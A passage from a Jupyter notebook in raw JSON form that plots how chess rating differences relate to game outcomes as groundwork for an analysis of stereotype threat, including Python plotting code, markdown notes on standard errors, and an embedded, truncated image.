"axes.errorbar(bins[:-1]+binwidth/2,yvals,yerr=y_sem*1.96,color='b',fmt='-o',lw=lweight)\n", "axes.set_xlabel('Difference in rating \\n(White - Black, using bin size = ' + str(binwidth) + ')')\n", "axes.set_ylabel('Average score for White')\n", "axes.set_ylim([0,1])\n", "axes.set_xlim([-650,650])\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## A note about standard errors\n", "\n", "95% standard error bars are shown on all plots. You just cannot see them at this resolution because the N is so large" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Changes in the rating-outcome function\n", "\n", "Before we consider evidence for stereotype threat, it is instructive to look at how the relationship between difference in player ratings and game outcome can change, and how these changes can be represented.\n", "\n", "To do this, consider how the rating-outcome function changes for games between the highest rated players compared to the lowest:" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "[None]" ] }, "execution_count": 6, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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\n/1IfL35QeJ2dO//C0dGRsWO/NyWTKX2o8PHxZfnyJej1evbs2YW3d3Xs7e0BcHZ2omjR4owd+/1L\n171utp1//tlLfHw8Y8ZMJGdOYxIdGRmZrHzGzs6OhIT4ZNfp9fpk37g4OWV7p/5TsmPHdurX/5yA\ngNamfQkJKT9I+z7s7OyJj0/+cz39pkIIIYTlRF27yrVNG7i5fSthRw5h0OsBcC7imWJynr1YcdOf\nzy+a/9Jxg07H4ZHDqL36t7QL2gIkObcSBQsaH2rQai9QuHARwFjfffbsGZycjCOVT0can08k7t69\nw4MH9y0WZ6FChcmWLRthYffIn7+Aaf+jRxHodDpT0vgqJ08eo3LlTwG4f/8+4eEPKVzY03S8YcMv\n+O23dSxb9jMVKlTCwyPfG2M6ceIYn3zyrCzhwoVzKX5weJp4Pp+IX7p0katXL1O+fMVk5zZs2IjV\nq1fi4ZGPunUbmPaXLFkapVJJeHg4lSs/W1Tp/v0w7O0dsLGx4W3pdIk4OqqTjfKmtJhOjRo+zJ07\nk8OHD3L8+BEmTJhiOlaqVBmOHDlMzpy5kn0rcf36NfLmdXtl34mJxqfan5Z8APz1l7HO/mntdYEC\nHxAe/pCwsHvkzu0OwMGDB0zfdIDxg8zRo0dS3X9KdDpdsnji4+PZu3fXSw9pvm9teIECBblw4Vyy\nfXv37n7F2UIIIdJKyLYtHBs3CgClrS0e1WpQwL8uBf3rvfHa+sGZ999tqTm3Ep6eRSlatDiLF8/n\n1KkTXLlymXHjRiWb5cPFxQUPj3xs3ryJy5cvceHCeSZNGv/a0eq38bRMYd++Pdy4cf2156pUKpo3\nb8mqVcsIDt7M7du3OHXqBIMG9WXkyGGvvVapVLJy5TLTzzd58jgcHBzx9q5hOqdo0WKULFma7duD\nkyXFr7Nv32527vyLkJAbLFo0n9u3b+Gfwi/2Bx8UIls2J9av/5Vbt25y8OABJk4cQ5Uq1bh16yY3\nbtwwnevnV4/w8IecPn0yWRy5cuXC17cOP/44i7//3kNo6G0OH/6Xr77qzsyZU17q83XKlCnHgwf3\n2bx5E7dv32LZskVERj7C1taWs2fPmGq/3d3zUK5ceX76aQ7Zsjklq4+uV+9zVCobRo/+hgsXznPr\n1k1Wr15J+/aBHDt25DV9lwVg5cqlhIbeZsOG3/j33/3ky5cfrfY84eEP8faugY2NDdOnT+batasc\n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